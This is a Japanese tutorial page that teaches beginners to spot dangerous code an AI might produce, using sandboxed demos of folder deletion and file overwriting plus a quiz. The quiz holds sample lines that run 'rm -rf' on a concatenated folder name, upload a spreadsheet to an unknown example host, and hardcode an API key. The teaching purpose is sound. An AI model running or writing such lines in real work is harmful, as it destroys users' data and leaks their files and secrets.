危険なコードの見分け方

AIは、とても便利ですが、**間違うことがあります。**そして、コードの間違いは、大事なファイルを消したり、上書きしたりする、取り返しのつかない事故につながることがあります。

今回は、危険なコードの見分け方を学びます。安全のために、このページの中の仮想フォルダで、わざと危険なコードを動かしてみましょう。（あなたのパソコンのファイルは、無事です）

AIが「不要なフォルダを整理します」と言って書いた、という想定のコードです。shutil.rmtree という行が、フォルダごと全部消す命令です。

▶ 実行を押すと、ここに結果が出ます

請求書のフォルダが、中身ごと、一瞬で消えました。「ごみ箱」には、入りません。自分のパソコンで、本物のフォルダに対して実行したら、元に戻せません。

危険なコードには、**よく出る「サイン」**があります。見つけたら、実行する前に立ち止まります。

次のコードは、「集計結果を、保存します」というものです。ところが、保存先が、元のファイルになっています。

▶ 実行を押すと、ここに結果が出ます

元の売上データ（7行）は、たった2行の集計結果に置き換わりました。 "w" は、すでにあるファイルを、全部消して書き直すためです。

お題① さきほどの、元のファイルを上書きするコードを、安全に書き直してください。保存先を summary.csv に変えると、元の sales.csv は無事で、行数は 7行 のままです。

▶ 実行を押すと、ここに結果が出ます

with open("summary.csv", "w", encoding="utf-8") as f:
  f.write("部署,合計\n営業,1110000\n")

with open("sales.csv", encoding="utf-8") as f:
  print(len(f.readlines()))

お題②（見つけてみよう） 次の3つのコードのうち、どこが危ないでしょうか。

# A
import os
os.system("rm -rf " + folder_name)

# B
import requests
requests.post("http://unknown-site.example/upload", files={"f": open("sales.xlsx", "rb")})

# C
API_KEY = "sk-abc123-secret"